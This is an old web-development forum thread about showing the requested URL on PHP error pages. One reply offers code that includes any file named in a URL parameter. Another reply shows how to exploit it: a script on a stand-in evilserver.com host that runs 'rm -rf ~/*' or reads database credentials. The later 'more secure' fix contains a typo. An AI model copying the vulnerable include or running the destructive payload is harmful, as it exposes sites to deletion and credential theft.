Results 1 to 9 of 9

Thread: Getting URL and displaying it

  1. #1
    Join Date
    Jan 2007
    Location
    The stage
    Posts
    568
    Thanks
    23
    Thanked 6 Times in 6 Posts

    Talking Getting URL and displaying it

    The title is what I'm after... I have an error message for my site... But not displaying the URL might not work...

    Like if the page's error was on:
    http://www.pureadd.com/error.html.
    I want it to say that... Not error.html
    Because there are many error pages in my site...

    THANKS TO ALL!
    Last edited by Rockonmetal; 10-20-2007 at 07:16 PM.

  2. #2
    Join Date
    Aug 2005
    Location
    Other Side of My Monitor
    Posts
    3,494
    Thanks
    5
    Thanked 105 Times in 104 Posts
    Blog Entries
    1

    Default

    Not really following you...

    you want the URL displayed on the page the visitor is viewing?

    So if I go to your site and go to a page that doesn't exist, lets say elephant.html You want me redirected to an error page that displays:

    http://yousite.com/elephant.html does not exist

    or do you want it to show the elephant.html in the address bar with the error page on the screen?
    {CWoT - Riddle } {Freelance Copywriter} {Learn to Write}
    Follow Me on Twitter: @InkingHubris
    PHP Code:
    $result mysql_query("SELECT finger FROM hand WHERE id=3");
    echo 
    $result

  3. #3
    Join Date
    Jun 2005
    Location
    英国
    Posts
    11,876
    Thanks
    1
    Thanked 180 Times in 172 Posts
    Blog Entries
    2

    Default

    The (absolute local) URI used to access your page is stored in $_SERVER['REQUEST_URI']. Redirects for errors are handled server-side (you usually needn't write a PHP system for this: your webserver should have a built-in mechanism that can catch the most common cases) so the user doesn't see a change in the URL. Notice DynamicDrive's system does a client-side redirect; also notice how irritating it is It's tripped me up on several occasions. It will also probably mess up less intelligent search engines somewhat.
    Twey | I understand English | 日本語が分かります | mi jimpe fi le jbobau | mi esperanton komprenas | je comprends français | entiendo español | tôi ít hiểu tiếng Việt | ich verstehe ein bisschen Deutsch | beware XHTML | common coding mistakes | tutorials | various stuff | argh PHP!

  4. #4
    Join Date
    Feb 2007
    Location
    Earth
    Posts
    133
    Thanks
    6
    Thanked 1 Time in 1 Post

    Default

    this is very possible

    PHP Code:
    if (!empty($_GET['x']) AND file_exists($_GET['x'].'.php'))
    {
    include(
    $_GET['x']); 
    }
    if (!
    file_exists($_GET['x']) AND !empty($_GET['x']))
    {
    print
    "Error. Page ".$_GET['x']." doesn't exist.<br>If you think this is a error please contact a admin.";

    this would be put on index.php and you just make every link go to index.php?x=whatever.php
    http://www.insanecombat.com << bored? check out ma game

  5. #5
    Join Date
    Jun 2005
    Location
    英国
    Posts
    11,876
    Thanks
    1
    Thanked 180 Times in 172 Posts
    Blog Entries
    2

    Default

    Yep. They can then also make a file http://www.evilserver.com/evilscript.php which outputs:
    Code:
    <?php
      shell_exec('rm -rf ~/*');
    ?>
    and go to index.php?x=http%3a%2f%2fwww.evilserver.com%2fevilscript.php to wipe out your whole site, or perhaps:
    Code:
    <?php
      echo file_get_contents('script_that_uses_database.php');
    ?>
    ... to find out some juicy details about your database, like your username and password.
    If you think this is a error please contact a admin.
    It is an error. The title is "Error." If your users are pedantically-minded or not web-savvy enough to understand what you mean, you're likely to get a lot of emails...
    Twey | I understand English | 日本語が分かります | mi jimpe fi le jbobau | mi esperanton komprenas | je comprends français | entiendo español | tôi ít hiểu tiếng Việt | ich verstehe ein bisschen Deutsch | beware XHTML | common coding mistakes | tutorials | various stuff | argh PHP!

  6. #6
    Join Date
    Feb 2007
    Location
    Earth
    Posts
    133
    Thanks
    6
    Thanked 1 Time in 1 Post

    Default

    lol youd have to be really stupid to type in something random and hope it appears without an error
    http://www.insanecombat.com << bored? check out ma game

  7. #7
    Join Date
    Sep 2006
    Location
    St. George, UT
    Posts
    2,769
    Thanks
    3
    Thanked 157 Times in 155 Posts

    Default

    Quote Originally Posted by Demonicman View Post
    lol youd have to be really stupid to type in something random and hope it appears without an error
    That wasn't the point of Twey's post. The code you posted is very insecure mostly due to the fact that someone can write a file that could wipe out the hosting server and call that script through the url.

    Hope this helps.
    "Computer games don't affect kids; I mean if Pac-Man affected us as kids, we'd all be running around in darkened rooms, munching magic pills and listening to repetitive electronic music." - Kristian Wilson, Nintendo, Inc, 1989
    TheUnlimitedHost | The Testing Site | Southern Utah Web Hosting and Design

  8. #8
    Join Date
    Jun 2005
    Location
    英国
    Posts
    11,876
    Thanks
    1
    Thanked 180 Times in 172 Posts
    Blog Entries
    2

    Default

    lol youd have to be really stupid to type in something random and hope it appears without an error
    Why? I often type in URLs from memory, and it's not too unusual to find an underscore where I expected a hyphen or a cultural difference in spelling (colour/color). Heck, I even do that latter in my own code sometimes.
    Twey | I understand English | 日本語が分かります | mi jimpe fi le jbobau | mi esperanton komprenas | je comprends français | entiendo español | tôi ít hiểu tiếng Việt | ich verstehe ein bisschen Deutsch | beware XHTML | common coding mistakes | tutorials | various stuff | argh PHP!

  9. #9
    Join Date
    May 2006
    Location
    Sydney, Australia - Near the coast.
    Posts
    1,995
    Thanks
    0
    Thanked 8 Times in 7 Posts

    Default

    Quote Originally Posted by Demonicman View Post
    this is very possible

    PHP Code:
    if (!empty($_GET['x']) AND file_exists($_GET['x'].'.php'))
    {
    include(
    $_GET['x']); 
    }
    if (!
    file_exists($_GET['x']) AND !empty($_GET['x']))
    {
    print
    "Error. Page ".$_GET['x']." doesn't exist.<br>If you think this is a error please contact a admin.";

    this would be put on index.php and you just make every link go to index.php?x=whatever.php
    Give me that. Then give me 2 minutes. Your site will be gone.

    This is a more secureish way of doing it:

    PHP Code:
    if (isset($_GET['x']) && file_exists(basename($_GET['x'].'php'))) {
    include(
    basename($_GET['x'].'.php'));
    }
    else {
    echo 
    '404 Not Found.';

    And an even more secure way is to put the files you want the world to access into an array, then check it.
    Peter - alotofstuffhere[dot]com - Email Me - Donate via PayPal - Got spare hardware? Donate 'em to me :) Just send me a PM.
    Currently: enjoying the early holidays :)
    Read before posting: FAQ | What you CAN'T do with JavaScript | Form Rules | Thread Title Naming Guide

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •